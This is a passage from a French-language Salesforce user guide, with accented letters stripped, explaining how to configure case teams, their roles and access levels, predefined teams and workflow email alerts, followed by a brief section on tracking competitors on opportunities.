une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Ajouter pour accorder un accs l'enregistrement aux autres utilisateurs, groupes, rles ou territoires.
Remarque: Pour partager une requte avec un autre utilisateur, celui-ci doit pouvoir accder au compte associ
la requte et disposer de l'autorisation Lire sur les requtes.

Cliquez sur Dvelopper la liste pour afficher tous les utilisateurs qui disposent de l'accs l'enregistrement.
Pour les rgles de partage manuelles que vous crez, cliquez sur Modifier ou Suppr en regard d'un lment de la liste afin
de modifier ou de supprimer le niveau d'accs.

Voir aussi :
Octroi d'accs aux enregistrements
Affichage des utilisateurs bnficiant de droits d'accs

quipes de requtes
Prsentation des quipes de requte
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Une quipe de requtes est un groupe d'utilisateurs travaillant sur une mme requte. Par exemple, votre quipe de requtes
peut comprendre un reprsentant du support, un responsable du support et un responsable projet.
Vous pouvez crer une quipe de requtes partir de la liste associe des quipes de requtes sur une requte. Lorsque vous
slectionnez l'un des membres d'une quipe, choisissez le rle jou par cette personne au niveau de la requte. Les rles d'quipe
de requtes dterminent le niveau d'accs que chaque membre d'quipe de requtes aura au sein de la requte. Par exemple,
vous pouvez choisir un rle qui donne certains membres de l'quipe un accs en lecture seule et un accs en lecture/criture
aux autres pour cette requte. De plus, des administrateurs peuvent configurer des alertes de workflow afin de spcifier les
actions d'une requte qui enverront un e-mail de notification aux membres de l'quipe de requtes. Par exemple, un administrateur
pourrait configurer des alertes de workflow afin d'envoyer des notifications aux membres d'une quipe de requtes lorsqu'un
nouveau commentaire de requte est ajout une requte.
Des utilisateurs disposant de droits d'accs de personnalisation de l'application peuvent prdfinir des quipes de requtes.
Des quipes de requtes prdfinies peuvent inclure les utilisateurs avec lesquels vous travaillez gnralement sur vos requtes.
Les administrateurs ont la possibilit de crer des rgles d'attribution qui ajoutent automatiquement des quipes de requtes
prdfinies toutes les requtes correspondant aux critres des rgles d'attribution. Pour plus d'informations, reportez-vous
Configuration des rgles d'attribution la page 620.
Vous pouvez filtrer les listes de requtes par quipes de requtes dont vous tes membre. Slectionnez simplement le filtre Mes
quipes de requtes dans les vues de liste de requtes. Pour plus d'informations, reportez-vous Cration de vues Listes
personnalises la page 1538. Vous pouvez galement crer un rapport sur une quipe de requtes dont vous tes membre. Aprs
avoir excut un rapport de requte, slectionnez les requtes de Mon quipe dans le filtre Vue. Pour plus d'informations,
reportez-vous Excution de rapports la page 1711.

Voir aussi :
Configuration dquipes de requtes

quipes de requtes

Guide de l'utilisateur | Configuration dquipes de requtes | 1224

Configuration dquipes de requtes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer les quipes de requtes :

Personnaliser l'application
AND
Grer les utilisateurs

Pour ajouter des membres une quipe :

Autorisation de modification sur les requtes

Une quipe de requtes est un groupe d'utilisateurs travaillant sur une mme requte. Par exemple, votre quipe de requtes
peut comprendre un reprsentant du support, un responsable du support et un responsable projet.
Chaque membre d'une quipe de requtes a un rle jouer dans la requte, tel que Contact clientle ou Responsable de
requte . Les rles dterminent l'accs la requte, tel qu'un accs en lecture seule ou en lecture/criture ainsi que la visibilit
du rle du membre pour les utilisateurs du portail Client.
Pour configurer les quipes de requtes :
1. Dfinissez les rles de l'quipe de requtes.
2. Ajoutez la liste associe de l'quipe de requtes aux prsentations de page de requtes.
La liste associe Equipe de requtes permet aux utilisateurs d'ajouter des membres d'quipe de requtes et des quipes de
requtes prdfinies aux requtes.
3. Vous pouvez aussi prdfinir des quipes de requtes afin que les utilisateurs puissent facilement ajouter des requtes les
utilisateurs avec lesquels ils travaillent.
4. Configurer des alertes de workflow afin de spcifier les actions d'une requte qui enverront un e-mail de notification aux
membres de l'quipe de requtes.
5. Vous pouvez aussi crer des rgles d'attribution de sorte que lorsqu'un critre de rgles d'attribution correspond une
requte, une quipe de requtes prdfinie soit automatiquement ajoute cette requte.
Conseils sur la configuration des types de requtes
Tenez compte des points suivants lors de la configuration des quipes de requtes :

Les quipes de requtes ne sont pas disponibles pour le portail partenaire.

Les utilisateurs du portail Client peuvent afficher la liste associe de l'quipe de requtes si elle est incluse dans les
prsentations de pages de requtes associes leur profil. Cependant, les utilisateurs du portail Client ne peuvent pas mettre
jour des quipes de requtes ni afficher les dtails des rles de l'quipe de requtes sur des requtes. Pour plus d'informations,
reportez-vous Personnalisation des prsentations de page la page 546.

quipes de requtes

Guide de l'utilisateur | Configuration dquipes de requtes | 1225

Les quipes de requtes sont prises en compte dans l'espace de stockage maximal de votre organisation. Chaque membre
d'quipe d'une requte reprsente 2 Ko d'espace de stockage. Pour plus d'informations sur les limites de stockage globales
de votre organisation, reportez-vous Surveillance des ressources la page 218.

Voir aussi :
Prsentation des quipes de requte

Configuration d'alertes par e-mail pour les membres d'une quipe de

requtes
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer les quipes de requtes :

Personnaliser l'application
ET
Grer les utilisateurs

Pour crer ou modifier des rgles de workflow :

Personnaliser l'application

Pour crer ou modifier des alertes par e-mail :

Personnaliser l'application

Une quipe de requtes est un groupe d'utilisateurs travaillant sur une mme requte. Par exemple, votre quipe de requtes
peut comprendre un reprsentant du support, un responsable du support et un responsable projet.
Vous pouvez configurer des alertes par e-mail pour les membres d'une quipe de requtes afin qu' chaque fois qu'une requte
est mise jour ou cre, les membres de l'quipe associs cette requte en soient automatiquement avertis.
Pour configurer des alertes par e-mail destines des membres d'quipes de requtes :
1. Crez des modles d'e-mail grce auxquels avertir les membres de l'quipe de requtes. Pour plus d'informations,
reportez-vous Gestion des modles de message la page 76.
Vous pouvez galement saisir des champs de fusion dans l'objet et dans le corps du texte du modle. Ces champs seront
remplacs par des informations provenant de vos enregistrements lorsque vous envoyez un e-mail. Pour plus d'informations
sur l'utilisation des champs de fusion, reportez-vous Prsentation des champs de fusion la page 67.
2. Configurez des rgles de workflow qui spcifient les actions d'une requte qui dclenchent les notifications par e-mail aux
membres de l'quipe de requtes :
a.
b.
c.
d.
e.
f.

Cliquez sur Configuration Crer Workflow et approbations Rgles de workflow.

Dans la page de liste des rgles de workflow, cliquez sur Nouvelle rgle.
Slectionnez Requte dans la liste de slection Slectionner un objet puis cliquez sur Suivant.
Saisissez le nom de la rgle.
Entrez ventuellement la description de la rgle.
Choisissez les critres d'valuation.

quipes de requtes

Guide de l'utilisateur | Configuration dquipes de requtes | 1226

Nous vous recommandons de slectionner le critre d'valuation chaque cration ou modification d'un
enregistrement car cela vous assure que la possibilit pour chaque requte de dclencher des notifications des
membres de l'quipe de requte est value.
g. Entrez vos critres de rgle.
Nous vous recommandons de slectionner les critres suivants sont remplis puis de slectionner les critres
de filtre auxquels doit satisfaire une requte pour dclencher des notifications aux membres de l'quipe de requtes. Par
exemple, configurez le filtre sur Requte : statut gal Nouveau si vous souhaitez que les membres de
l'quipe de requtes reoivent une notification chaque fois que le statut d'une requte est configur sur Nouveau.
h. Vous pouvez galement entrer des conditions de filtrage avances.
i. Cliquez sur Enregistrer et Suivant.
3. Ajoutez des alertes par e-mail la rgle de workflow de sorte que des notifications soient envoyes aux membres de l'quipe
de requtes lorsque des actions sur des requtes correspondent aux critres de la rgle :
a. Cliquez sur Ajouter une action de workflow et slectionnezNouvelle alerte par e-mail partir du bouton de la liste
droulante.
b. Saisissez la description de cette alerte par e-mail.
Cet objet est en lecture seule si la nouvelle alerte par e-mail est associe une rgle de workflow pour un objet particulier.
c. Slectionnez un modle de message.
d. Slectionnez le type de destinataires qui vous souhaitez envoyer cette alerte par e-mail.
Vous pouvez galement slectionner une quipe de requtes dans la liste de slection Type de destinataire afin
de slectionner tous les utilisateurs ayant un rle particulier dans l'quipe de requtes en tant que destinataires.
Les destinataires correspondant vos rsultats de recherche apparaissent dans la liste Destinataires disponibles.
e. Slectionnez les destinataires qui vous souhaitez envoyer cette alerte par e-mail dans la liste Destinataires disponibles
et cliquez sur Ajouter pour les ajouter la liste Destinataires slectionns.
f. Vous pouvez galement entrer jusqu' cinq adresses e-mail supplmentaires.
g. Cliquez sur Enregistrer.
4. Activez la rgle de workflow et la rgle d'alerte par e-mail qui y est associe :
a. Cliquez sur Configuration Crer Workflow et approbations Rgles de workflow.
b. Cliquez sur Activer en regard du nom de la rgle.
Remarque: tout moment, vous pouvez cliquer sur Dsactiver pour viter que la rgle ne se dclenche lorsque
ses conditions sont satisfaites. Cependant, si vous dsactivez une rgle dont des actions sont en cours,
Salesforce.com mne ces actions terme tant que l'enregistrement qui a dclench la rgle n'est pas mis jour.

Conseil: Pour plus d'informations sur les rgles de workflow et les alertes par e-mail, reportez-vous :

Cration de rgles de workflow la page 726

Gestion des rgles de workflow la page 724
Cration d'alertes par e-mail pour le workflow et les approbations la page 736

quipes de requtes

Guide de l'utilisateur | Dfinition des rles dune quipe de requtes | 1227

Gestion des alertes par e-mail la page 735

Voir aussi :
Configuration dquipes de requtes

Dfinition des rles dune quipe de requtes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer les quipes de requtes :

Personnaliser l'application
AND
Grer les utilisateurs

Pour ajouter des membres une quipe :

Autorisation de modification sur les requtes

Une quipe de requtes est un groupe d'utilisateurs travaillant sur une mme requte. Par exemple, votre quipe de requtes
peut comprendre un reprsentant du support, un responsable du support et un responsable projet. Chaque membre d'une
quipe de requtes a un rle jouer dans la requte, tel que Contact clientle ou Responsable de requte . Les rles
dterminent l'accs la requte, tel qu'un accs en lecture seule ou en lecture/criture ainsi que la visibilit du rle du membre
pour les utilisateurs du Portail client.
Pour accder la page des rles d'une quipe de requtes, cliquez sur Configuration Personnalisation Requtes
Equipes de requtes Rles d'quipe de requtes. A partir de la page Rles d'quipe de requtes, cliquez sur les liens
appropris pour procder aux actions suivantes :
Crer des rles d'quipe
Pour crer un rle d'quipe de requte :
1. Cliquez sur Nouveau.
2. Entrez un nom pour le rle.
3. A partir de la liste de slection Accs la requte, slectionnez le niveau du rle de l'accs aux requtes. Les niveaux
d'accs possibles sont :
Niveau daccs

Description

Lecture/criture

L'utilisateur peut afficher et modifier l'enregistrement et les

enregistrements associs, les remarques et les pices jointes.

Lecture seule

L'utilisateur peut afficher l'enregistrement et y ajouter des

enregistrements associs. Il ne peut pas modifier
l'enregistrement ni ajouter de remarques ou de pices jointes.

quipes de requtes

Guide de l'utilisateur | Dfinition des rles dune quipe de requtes | 1228

Niveau daccs

Description

Priv

L'utilisateur ne peut en aucune manire accder

l'enregistrement.

4. Vous pouvez galement slectionner Visible dans le portail Clients si vous souhaitez que les utilisateurs de
ce rle soient visibles aux utilisateurs du portail Client qui affichent des requtes.
Les utilisateurs d'un Portail Client inclus dans une quipe de requtes peuvent se voir dans la liste associe Equipe de
requte des requtes, mme s'ils sont dans un rle o la case Visible dans le portail Clients n'est pas coche.
5. Cliquez sur Enregistrer. Vous pouvez galement cliquer sur Enregistrer et Nouveau pour enregistrer le rle et commencer
crer un autre nouveau rle.
Aprs avoir cr des rles d'quipe de requtes, vous pouvez prdfinir des quipes de requtes. Pour plus d'informations,
reportez-vous Prdfinition d'quipes de requtes la page 1229.
Mettre jour des rles d'quipe
Pour mettre jour un rle d'quipe de requtes :
1. Cliquez sur Modifier en regard du nom du rle de l'quipe de requte prdfinie que vous souhaitez mettre jour.
2. Mettez jour les champs appropris.
3. Cliquez sur Enregistrer.
Remplacer les rles de l'quipe
Pour remplacer un rle d'quipe de requtes et le remplacer globalement dans toutes les requtes existantes :
1. Cliquez sur Remplacer en regard du nom du rle de l'quipe de requte que vous souhaitez remplacer.
2. Slectionnez rle d'quipe de requte qui doit remplacer le rle existant.
3. Cliquez sur Enregistrer.
Conseils sur la dfinition de rles d'quipe de requtes
Tenez compte des points suivants lors de la dfinition des rles d'une quipe de requtes.

Par dfaut, les responsables de requtes ont un accs complet aux requtes dont ils sont responsables. Les rles d'quipe
de requtes ne peuvent pas mettre jour le niveau d'accs des responsables de requtes en requtes.
Vous pouvez ajouter des contacts et des utilisateurs du portail Client des rles disposant de droits en lecture/criture pour
des requtes. Cependant, seuls les contacts activs en tant qu'utilisateurs du portail client peuvent accder aux requtes, car
les contacts ne peuvent pas se connecter Salesforce.com. Pour plus d'informations, reportez-vous Activation du portail
Client pour les contacts et les comptes personnels la page 1257.
Actuellement, vous pouvez crer un nombre illimit de rles pour les quipes de requtes. Cependant, comme les rles
d'quipe de requtes ne peuvent pas tre supprims, nous vous recommandons de ne pas crer plus de 20 rles afin que les
utilisateurs n'aient pas trop de rles parmi lesquels choisir lorsqu'ils travaillent avec des quipes de requtes.
Si votre organisation ne dispose que d'un rle d'quipe de requte, vous ne pouvez pas le remplacer.

Voir aussi :
Configuration dquipes de requtes
Prsentation des quipes de requte

quipes de requtes

Guide de l'utilisateur | Prdfinition dquipes de requtes | 1229

Prdfinition dquipes de requtes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer les quipes de requtes :

Personnaliser l'application
ET
Grer les utilisateurs

Pour ajouter des membres une quipe :

Autorisation de modification sur les requtes

Une quipe de requtes est un groupe d'utilisateurs travaillant sur une mme requte. Par exemple, votre quipe de requtes
peut comprendre un reprsentant du support, un responsable du support et un responsable projet.
Aprs avoir dfini les rles dans l'quipe de requtes, vous pouvez prdfinir des quipes de requtes afin que les utilisateurs
puissent rapidement ajouter une quipe d'utilisateurs spcifiques la liste associe des membres de l'quipe de requtes sur des
requtes.
Pour accder la page des quipes de requtes prdfinies, cliquez sur Configuration Personnalisation Requtes
Equipes de requtes Equipes de requtes prdfinies. A partir de la page Equipes de requtes prdfinies, cliquez sur les
liens appropris pour procder aux actions suivantes :
Crer des quipes de requtes prdfinies
Pour crer une quipe de requtes prdfinie :
1.
2.
3.
4.

Cliquez sur Nouveau.

Entrez un nom pour l'quipe.
Entrez ventuellement la description de l'quipe.
Vous pouvez galement ajouter des membres d'quipe :
a. Slectionnez le type d'utilisateur dans la liste de slection Membre de l'quipe, Utilisateur, Contact ou Utilisateur de
portail ; puis cliquez sur l'icne de recherche ( ) pour slectionner un utilisateur spcifique ajouter l'quipe.
Les contacts ne peuvent afficher les requtes que par l'intermdiaire du portail Client. Pour autoriser des contacts
accder au portail Client, reportez-vous Activation du portail Client pour les contacts et les comptes personnels la
page 1257.
b. Slectionnez le rle d'quipe de requtes appliquer au membre de l'quipe dans la liste de slection Rle du membre.
Chaque membre d'une quipe de requtes a un rle jouer dans la requte, tel que Contact clientle ou Responsable
de requte . Les rles dterminent l'accs la requte, tel qu'un accs en lecture seule ou en lecture/criture ainsi que
la visibilit du rle du membre pour les utilisateurs du portail Client. Pour plus d'informations, reportez-vous Dfinition
des rles dune quipe de requtes la page 1227.

5. Cliquez sur Enregistrer.

quipes de requtes

Guide de l'utilisateur | Prdfinition dquipes de requtes | 1230

Ajouter des membres d'quipe des quipes de requtes prdfinies

Pour ajouter un nouveau membre une quipe de requtes prdfinie :
1. Slectionnez le nom de l'quipe de requtes prdfinie.
2. Cliquez sur Ajouter un membre d'quipe.
3. Slectionnez le type d'utilisateur dans la liste de slection Membre de l'quipe, Utilisateur, Contact ou Utilisateur de
portail ; puis cliquez sur l'icne de recherche ( ) pour slectionner un utilisateur spcifique ajouter l'quipe.
Les contacts ne peuvent afficher les requtes que par l'intermdiaire du portail Client. Pour autoriser des contacts accder
au portail Client, reportez-vous Activation du portail Client pour les contacts et les comptes personnels la page 1257.
4. Slectionnez le rle d'quipe de requtes appliquer au membre de l'quipe dans la liste de slection Rle du membre.
Chaque membre d'une quipe de requtes a un rle jouer dans la requte, tel que Contact clientle ou Responsable
de requte . Les rles dterminent l'accs la requte, tel qu'un accs en lecture seule ou en lecture/criture ainsi que la
visibilit du rle du membre pour les utilisateurs du portail Client. Pour plus d'informations, reportez-vous Dfinition
des rles dune quipe de requtes la page 1227.
5. Cliquez sur Enregistrer.
Mettre jour des quipes de requtes prdfinies
Pour mettre jour une quipe de requtes prdfinie :
1. Cliquez sur Modifier en regard du nom de l'quipe de requte prdfinie que vous souhaitez mettre jour.
Vous pouvez galement cliquez sur Suppr pour supprimer l'quipe de requtes prdfinie.
Lorsque vous supprimez une quipe de requtes prdfinie, l'quipe de requtes est automatiquement supprime de toutes
les requtes auxquelles elle est associe. Entre outre, vous ne pouvez pas rcuprer des quipes de requtes prdfinies via
la corbeille. Pour plus d'informations, reportez-vous la Corbeille la page 1456.
2. Mettez jour les champs appropris.
3. Cliquez sur Enregistrer.
Mettre jour des membres d'quipes de requtes prdfinies
Pour mettre jour des membres d'une quipe de requtes prdfinie :
1. Slectionnez le nom de l'quipe de requtes prdfinie.
2. Vous pouvez galement cliquer sur :

Un nom de membre pour afficher les dtails de ce membre.

Si vous disposez des droits d'accs Grer les utilisateurs , vous pouvez mettre jour les dtails de l'utilisateur et
rinitialiser le mot de passe de l'utilisateur partir de la page des dtails de l'utilisateur. Pour plus d'informations,
reportez-vous Modification des utilisateurs la page 96.

Le rle d'quipe de requtes d'un membre pour mettre jour les dtails du rle d'quipe de requtes.
Chaque membre d'une quipe de requtes a un rle jouer dans la requte, tel que Contact clientle ou Responsable
de requte . Les rles dterminent l'accs la requte, tel qu'un accs en lecture seule ou en lecture/criture ainsi que
la visibilit du rle du membre pour les utilisateurs du portail Client. Pour plus d'informations, reportez-vous Dfinition
des rles dune quipe de requtes la page 1227.

3. Cliquez sur Modifier.

4. Vous pouvez galement :

Cliquez sur le lien Supprimer en regard d'un membre d'quipe existant pour le supprimer de l'quipe de requtes.

quipes de requtes

Guide de l'utilisateur | Prdfinition dquipes de requtes | 1231

Lorsque vous supprimez un membre d'une quipe de requtes prdfinie, l'utilisateur est automatiquement supprim
de toutes les requtes dont il est membre avec cette quipe de requtes.

Cliquez sur le lien Ajouter une ligne pour insrer une nouvelle ligne dans laquelle vous pouvez ajouter un membre
d'quipe de requtes ou d'une quipe de requtes prdfinie. Pour plus d'informations, reportez-vous Ajouter des
membres d'quipe des quipes de requtes prdfinies la page 1231.
Dans les lignes de membres d'quipe existants, vous pouvez :
-

Slectionnez le type d'utilisateur dans la liste de slection Membre de l'quipe, Utilisateur, Contact ou Utilisateur
de portail ; puis cliquez sur l'icne de recherche ( ) pour slectionner un utilisateur spcifique ajouter l'quipe.
Les contacts ne peuvent afficher les requtes que par l'intermdiaire du portail Client. Pour autoriser des contacts
accder au portail Client, reportez-vous Activation du portail Client pour les contacts et les comptes personnels
la page 1257.

Slectionnez le rle d'quipe de requtes appliquer au membre de l'quipe dans la liste de slection Rle du
membre.
Chaque membre d'une quipe de requtes a un rle jouer dans la requte, tel que Contact clientle ou
Responsable de requte . Les rles dterminent l'accs la requte, tel qu'un accs en lecture seule ou en
lecture/criture ainsi que la visibilit du rle du membre pour les utilisateurs du portail Client. Pour plus
d'informations, reportez-vous Dfinition des rles dune quipe de requtes la page 1227.

5. Cliquez sur Enregistrer.

Conseils sur la prdfinition des quipes de requtes
Tenez compte des points suivants lors de la prdfinition des quipes de requtes.

Vous ne pouvez pas supprimer une quipe de requtes prdfinie si elle est associe une rgle d'attribution. Pour supprimer
l'quipe de requtes prdfinie, vous devez pralablement la supprimer de toutes les rgles d'attribution. Pour plus
d'informations, reportez-vous Configuration des rgles d'attribution la page 620.
Lorsque vous supprimez une quipe de requtes prdfinie, l'quipe de requtes est automatiquement supprime de toutes
les requtes auxquelles elle est associe. Entre outre, vous ne pouvez pas rcuprer des quipes de requtes prdfinies via
la corbeille. Pour plus d'informations, reportez-vous la Corbeille la page 1456.
Lorsque vous supprimez un membre d'une quipe de requtes prdfinie, l'utilisateur est automatiquement supprim de
toutes les requtes dont il est membre avec cette quipe de requtes.

Voir aussi :
Configuration dquipes de requtes
Prsentation des quipes de requte

quipes de requtes

Guide de l'utilisateur | Ajout de membres une quipe de requtes | 1232

Ajout de membres une quipe de requtes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer les quipes de requtes :

Personnaliser l'application
ET
Grer les utilisateurs

Pour ajouter des membres une quipe :

Modifier sur les requtes

Pour ajouter une requte des membres d'quipe de requtes individuels ou des quipes de requtes prdfinies :
1. Affichez la requte.
2. Dans la liste associe Equipe de requtes, cliquez sur Mettre jour des membres d'quipes de requtes.
3. Pour ajouter des membres individuels l'quipe de requtes :
a. Slectionnez le type d'utilisateur dans la liste de slection Membre de l'quipe (Utilisateur, Contact, Utilisateur de
portail ou Partenaire de portail), puis cliquez sur l'icne de recherche (

) pour slectionner un utilisateur spcifique.

Utilisateur de portail et Partenaire de portail s'affichent uniquement si un portail partenaire ou un portail client est
activ pour votre organisation.
Vous ne pouvez pas ajouter des utilisateurs du portail client haut volume la page 1315 des quipes.
b. Slectionnez le rle d'quipe de requtes appliquer au membre de l'quipe dans la liste de slection Rle du membre.
Chaque membre d'une quipe de requtes a un rle jouer dans la requte, tel que Contact clientle ou Responsable
de requte . Les rles dterminent l'accs la requte, tel qu'un accs en lecture seule ou en lecture/criture ainsi que
la visibilit du rle du membre pour les utilisateurs du portail Client.
4. Pour ajouter une quipe de requtes existante, cliquez sur l'icne de recherche (
prdfinies, puis slectionnez une quipe spcifique.

) dans la section Equipes de requtes

Pour plus d'informations sur les quipes prdfinies, reportez-vous Prdfinition d'quipes de requtes la page 1229.
5. Cliquez sur Enregistrer.
Conseil sur l'ajout d'utilisateurs aux quipes de requtes
Tenez compte des points suivants lorsque vous ajoutez des utilisateurs des quipes de requtes :

Vous ne pouvez pas ajouter un utilisateur une quipe de requtes s'il en fait dj partie. Par exemple, si vous ajoutez une
quipe prdfinie une requte qui inclut un membre dj dans l'quipe, ce membre est automatiquement supprim de
l'quipe prdfinie lorsqu'il est ajout la requte.
Les contacts ne peuvent afficher les requtes que par l'intermdiaire du portail Client. Pour autoriser des contacts accder
au portail Client, reportez-vous Activation du portail Client pour les contacts et les comptes personnels la page 1257.
Les utilisateurs du portail Client peuvent afficher la liste associe de l'quipe de requtes si elle est incluse dans les
prsentations de pages de requtes associes leur profil. Cependant, les utilisateurs du portail Client ne peuvent pas mettre

quipes de requtes

Guide de l'utilisateur | Mise jour des membres dune quipe de requtes | 1233

jour des quipes de requtes ni afficher les dtails des rles de l'quipe de requtes pour des requtes. Pour plus
d'informations, reportez-vous Personnalisation des prsentations de page la page 546.
Vous pouvez filtrer les listes de requtes par quipes de requtes dont vous tes membre. Slectionnez simplement le filtre
Mes quipes de requtes dans les vues de liste de requtes. Pour plus d'informations, reportez-vous Cration de
vues Listes personnalises la page 1538. Vous pouvez galement crer un rapport sur une quipe de requtes dont vous tes
membre. Aprs avoir excut un rapport de requte, slectionnez les requtes de Mon quipe dans le filtre Vue. Pour plus
d'informations, reportez-vous Excution de rapports la page 1711.
Les niveaux d'accs possibles dont un membre d'quipe de requtes peut disposer vis--vis d'une requte, tels que dfinis
par votre administrateur via les rles d'quipes de requtes, comprennent :
Niveau daccs

Description

Lecture/criture

L'utilisateur peut afficher et modifier l'enregistrement et les

enregistrements associs, les remarques et les pices jointes.

Lecture seule

L'utilisateur peut afficher l'enregistrement et y ajouter des

enregistrements associs. Il ne peut pas modifier
l'enregistrement ni ajouter de remarques ou de pices jointes.

Priv

L'utilisateur ne peut en aucune manire accder

l'enregistrement.

Voir aussi :
Configuration dquipes de requtes
Prsentation des quipes de requte

Mise jour des membres dune quipe de requtes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer les quipes de requtes :

Personnaliser l'application
ET
Grer les utilisateurs

Pour ajouter des membres une quipe :

Autorisation de modification sur les requtes

Vous pouvez mettre jour les membres d'une quipe de requtes sur une requte.
1. Affichez la requte.
2. Dans la liste associe Equipe de requtes, cliquez sur Mettre jour des membres d'quipes de requtes.
3. Vous pouvez galement :

quipes de requtes

Guide de l'utilisateur | Mise jour des membres dune quipe de requtes | 1234

Cliquer sur le lien Supprimer en regard d'un membre d'quipe existant ou d'une quipe de requtes prdfinie pour
supprimer ce membre ou cette quipe de la requte.
Cliquez sur le lien Ajouter une ligne pour insrer une nouvelle ligne dans laquelle vous pouvez ajouter un membre
d'quipe de requte ou d'une quipe de requtes prdfinie. Pour plus d'informations, reportez-vous Ajout de membres
une quipe de requtes la page 1232.
Dans les lignes de membres d'quipe existants, vous pouvez :
-

Slectionnez le type d'utilisateur dans la liste de slection Membre de l'quipe (Utilisateur, Contact, Utilisateur de

portail ou Partenaire de portail), puis cliquez sur l'icne de recherche ( ) pour slectionner un utilisateur spcifique.
Slectionnez le rle d'quipe de requtes appliquer au membre de l'quipe dans la liste de slection Rle du
membre.
Chaque membre d'une quipe de requtes a un rle jouer dans la requte, tel que Contact clientle ou
Responsable de requte . Les rles dterminent l'accs la requte, tel qu'un accs en lecture seule ou en
lecture/criture ainsi que la visibilit du rle du membre pour les utilisateurs du portail Client. Pour plus
d'informations, reportez-vous Dfinition des rles dune quipe de requtes la page 1227.

Dans les lignes d'quipe de requtes prdfinies existantes, vous pouvez cliquer sur l'icne de recherche (
une quipe de requte spcifique.

) pour ajouter

4. Cliquez sur Enregistrer.

Conseils sur la mise jour des membres d'une quipe de requtes
Tenez compte des points suivants lors de la mise jour des membres d'une quipe de requtes.

Vous ne pouvez pas ajouter un utilisateur une quipe de requtes s'il en fait dj partie. Par exemple, si vous ajoutez une
quipe prdfinie une requte qui inclut un membre dj dans l'quipe, ce membre est automatiquement supprim de
l'quipe prdfinie lorsqu'il est ajout la requte.
Lorsque vous supprimez d'une requte un utilisateur ou une quipe de requtes prdfinie, vous pouvez ajouter de nouveau
l'utilisateur ou l'quipe de requtes prdfinie la requte tout moment. Pour plus d'informations, reportez-vous Ajout
de membres une quipe de requtes la page 1232.
Les contacts ne peuvent afficher les requtes que par l'intermdiaire du portail Client. Pour autoriser des contacts accder
au portail Client, reportez-vous Activation du portail Client pour les contacts et les comptes personnels la page 1257.
Si vous dsactivez un utilisateur, Salesforce.com vous invite le supprimer des quipes de requte.
Les utilisateurs du portail Client peuvent afficher la liste associe de l'quipe de requtes si elle est incluse dans les
prsentations de pages de requtes associes leur profil. Cependant, les utilisateurs du portail Client ne peuvent pas mettre
jour des quipes de requtes ni afficher les dtails des rles de l'quipe de requtes pour des requtes. Pour plus
d'informations, reportez-vous Personnalisation des prsentations de page la page 546.
Les niveaux d'accs possibles dont un membre d'quipe de requtes peut disposer vis--vis d'une requte, tels que dfinis
par votre administrateur via les rles d'quipes de requtes, comprennent :
Niveau daccs

Description

Lecture/criture

L'utilisateur peut afficher et modifier l'enregistrement et les

enregistrements associs, les remarques et les pices jointes.

Lecture seule

L'utilisateur peut afficher l'enregistrement et y ajouter des

enregistrements associs. Il ne peut pas modifier
l'enregistrement ni ajouter de remarques ou de pices jointes.

quipes de requtes

Guide de l'utilisateur | Champs dquipes de requtes | 1235

Niveau daccs

Description

Priv

L'utilisateur ne peut en aucune manire accder

l'enregistrement.

Voir aussi :
Prsentation des quipes de requte
Ajout de membres une quipe de requtes

Champs dquipes de requtes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer les quipes de requtes :

Personnaliser l'application
AND
Grer les utilisateurs

Pour ajouter des membres une quipe :

Autorisation de modification sur les requtes

Un membre de campagne de requte contient les champs suivants, par ordre alphabtique.
Champ

Description

Accs la requte

Le niveau d'accs dont dispose un membre de l'quipe sur la

requte. Le niveau d'accs peut-tre en lecture/criture, lecture
seule ou priv, mais il ne peut tre infrieur l'accs par dfaut
de partage de la requte de votre organisation.

Nom du membre

Le nom d'un utilisateur rpertori comme membre de l'quipe

de requtes.

Rle du membre

Le rle jou par le membre de l'quipe dans cette requte, par

exemple, Responsable de la requte .

Visible dans le portail des clients

Indique si le membre de l'quipe de requtes s'affiche dans le

Portail client.

Voir aussi :
Prsentation des quipes de requte

Concurrents
Prsentation de Concurrents
Disponible avec : Toutes les Editions inscrites avant la version Summer '09 de juin 2009
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition
inscrites pendant ou aprs la version Summer '09 de juin 2009

Vous pouvez faire un suivi de la concurrence pour une vente en attente en indiquant les noms des concurrents dans l'opportunit.
Vous pouvez soit entrer le nom de nouveaux concurrents, soit choisir des concurrents dans une liste dj cre par votre
administrateur par l'intermdiaire des options Configuration Personnalisation Opportunits Concurrents. Pour
visualiser ces informations, accdez la liste associe Concurrents d'une opportunit.

Voir aussi :
Affichage et modification de la concurrence

Affichage et modification de la concurrence

Disponible avec : Toutes les Editions inscrites avant la version Summer '09 de juin 2009
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition
inscrites pendant ou aprs la version Summer '09 de juin 2009

Autorisations utilisateur requises

Pour afficher des concurrents :

Autorisation de lecture sur les opportunits

Pour modifier des concurrents :

Autorisation de modification sur les opportunits

La liste associe Concurrents d'une opportunit prsente la concurrence relative cette affaire.

Pour afficher des informations sur un concurrent, cliquez sur son nom.
Cliquez sur Modifier en regard du nom d'un concurrent pour modifier ses points forts et ses points faibles pour cette
opportunit.
Pour ajouter un concurrent, cliquez sur Nouveau. Entrez le nom du concurrent ou cliquez sur l'icne de recherche pour
slectionner un concurrent dans une liste cre par votre administrateur par l'intermdiaire des options Configuration
Personnalisation Opportunits Concurrence. Le concurrent n'est pas ncessairement un compte ou un contact
existant. Spcifiez ensuite les points forts et les points faibles du concurrent, ces derniers pouvant varier selon les opportunits.

Concurrents

Guide de l'utilisateur | Affichage et modification de la concurrence | 1237

Remarque: Pour ajouter ou crer un concurrent sur une opportunit, vous devez tre autoris modifier cette dernire.

Voir aussi :
Prsentation de Concurrents

Console
